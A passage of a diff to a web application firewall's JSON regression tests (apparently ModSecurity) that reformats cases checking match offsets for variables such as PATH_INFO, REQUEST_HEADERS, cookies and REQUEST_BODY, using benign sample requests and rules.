REQUEST_PROTOCOL \"1.1\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - PATH_INFO", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - PATH_INFO", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded", "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET", - "http_version": 1.1 + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o1,5v4,11t:trim" + "expected": { + "error_log": "o1,5v4,11t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule PATH_INFO \"index\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - QUERY_STRING", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - QUERY_STRING", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded", "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET", - "http_version": 1.1 + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o7,6v16,41t:trim" + "expected": { + "error_log": "o7,6v16,41t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule QUERY_STRING \"value1\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - REQUEST_BASENAME", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - REQUEST_BASENAME", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded", "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET", - "http_version": 1.1 + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o6,4v5,10t:trim" + "expected": { + "error_log": "o6,4v5,10t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_BASENAME \"html\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - REQUEST_URI", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - REQUEST_URI", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded", "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/index.html%20%20?param1=value1¶m2=value1¶m3=value1", - "method":"GET", - "http_version": 1.1 + "uri": "/index.html%20%20?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o7,4v4,59t:trim" + "expected": { + "error_log": "o7,4v4,59t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_URI \"html\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - REQUEST_URI_RAW", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - REQUEST_URI_RAW", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded", "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/index.html%20%20?param1=value1¶m2=value1¶m3=value1", - "method":"GET", - "http_version": 1.1 + "uri": "/index.html%20%20?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o7,4v4,59t:trim" + "expected": { + "error_log": "o7,4v4,59t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_URI_RAW \"html\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, - - { - "enabled":1, - "version_min":300000, - "title":"Variable offset - REQUEST_HEADERS", - "request":{ - "headers":{ - "Content-Length": "27", - "Host":"localhost", + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - REQUEST_HEADERS", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0", + "Host": "localhost", "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,9v89,9t:trim" + "expected": { + "error_log": "o0,9v88,9t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_HEADERS \"localhost\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, - - { - "enabled":1, - "version_min":300000, - "title":"Variable offset - REQUEST_HEADERS:content-type", - "request":{ - "headers":{ - "Content-Length": "27", - "Host":"localhost", + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - REQUEST_HEADERS:content-type", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0", + "Host": "localhost", "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o14,3v163,33t:trim" + "expected": { + "error_log": "o14,3v162,33t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_HEADERS \"www\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Variable offset - AUTH_TYPE 1", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - AUTH_TYPE 1", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded", "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,5v162,5t:trim" + "expected": { + "error_log": "o0,5v161,5t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule AUTH_TYPE \"Basic\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Variable offset - AUTH_TYPE 2", - "request":{ - "headers":{ + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - AUTH_TYPE 2", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==", - "Host":"localhost", - "Content-Length": "27", + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,5v79,5t:trim" + "expected": { + "error_log": "o0,5v79,5t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule AUTH_TYPE \"Basic\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Variable offset - REQUEST_HEADERS_NAMES", - "request":{ - "headers":{ + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - REQUEST_HEADERS_NAMES", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==", - "Host":"localhost", - "Content-Length": "27", + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,4v64,13t:lowercase" + "expected": { + "error_log": "o0,4v64,13t:lowercase", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_HEADERS_NAMES \"auth\" \"id:1,phase:2,pass,t:lowercase,msg:'ops'\"" ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Variable offset - REQUEST_COOKIES 1", - "request":{ - "headers":{ + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - REQUEST_COOKIES 1", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==", - "Host":"localhost", - "Content-Length": "27", + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded", - "Cookie":"USER_TOKEN=Yes; a=z; t=b" + "Cookie": "USER_TOKEN=Yes; a=z; t=b" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o1,2v216,3t:lowercase" + "expected": { + "error_log": "o1,2v215,3t:lowercase", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_COOKIES \"es\" \"id:1,phase:2,pass,t:lowercase,msg:'ops'\"" ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Variable offset - REQUEST_COOKIES 2", - "request":{ - "headers":{ + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - REQUEST_COOKIES 2", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==", - "Host":"localhost", - "Content-Length": "27", + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded", - "Cookie":"USER_TOKEN=Yes; a=z; t=b" + "Cookie": "USER_TOKEN=Yes; a=z; t=b" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,1v223,1t:lowercase" + "expected": { + "error_log": "o0,1v222,1t:lowercase", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_COOKIES \"z\" \"id:1,phase:2,pass,t:lowercase,msg:'ops'\"" ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Variable offset - REQUEST_COOKIES 3", - "request":{ - "headers":{ + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - REQUEST_COOKIES 3", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==", - "Host":"localhost", - "Content-Length": "27", + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded", - "Cookie":"USER_TOKEN=Yes; a=z; t=b" + "Cookie": "USER_TOKEN=Yes; a=z; t=b" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,1v228,1t:lowercase,t:trim" + "expected": { + "error_log": "o0,1v227,1t:lowercase,t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_COOKIES \"b\" \"id:1,phase:2,pass,t:lowercase,t:trim,msg:'ops'\"" ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Variable offset - REQUEST_COOKIES_NAMES", - "request":{ - "headers":{ + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - REQUEST_COOKIES_NAMES", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==", - "Host":"localhost", - "Content-Length": "27", + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded", - "Cookie":"USER_TOKEN=Yes; a=z; t=b" + "Cookie": "USER_TOKEN=Yes; a=z; t=b" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,1v226,1" + "expected": { + "error_log": "o0,1v225,1", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_COOKIES_NAMES \"t\" \"id:1,phase:2,pass,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REMOTE_USER", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"27", - "Content-Type":"application/x-www-form-urlencoded", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REMOTE_USER", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Basic QWxhZGRpbjpPcGVuU2VzYW1l" }, - "uri":"/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", - "method":"GET" + "uri": "/one/two/three?key1=value1&key2=v%20a%20l%20u%20e%202", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,7v198,30t:trim" + "expected": { + "error_log": "o0,7v197,30t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REMOTE_USER \"Aladdin\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_BODY", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o45,30v193,516t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_BODY", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "516", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o45,30v193,516t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_BODY \"Content-Disposition: form-data\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_BODY", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o45,30v193,516t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_BODY", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "516", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "o45,30v193,516t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_BODY \"Content-Disposition: form-data\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_BODY_LENGTH", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"v193,516t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_BODY_LENGTH", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "516", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"name\"\n", + "\n", + "test\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is a very small test file..\n", + "----------------------------756b6d74fa1a8ee2\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\n", + "Content-Type: text/plain\n", + "\n", + "This is another very small test file..\n", + "----------------------------756b6d74fa1a8ee2--\n" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "v193,516t:trim", + "http_code": 200 + }, + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_BODY_LENGTH \"@gt 5\" \"id:1,phase:3,pass,t:trim,msg:'s'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: REQUEST_FILENAME 1", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" - }, - "uri":"/wheee/file?something else", - "method":"POST", - "body":[ - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "----------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "----------------------------756b6d74fa1a8ee2--" - ] - }, - "expected":{ - "error_log":"o6,5v5,11t:trim" - }, - "rules":[ + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: REQUEST_FILENAME 1", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "531", + "Content-Type": "multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" + }, + "uri": "/wheee/file?something else", + "method": "POST", + "body": [ + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "----------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + 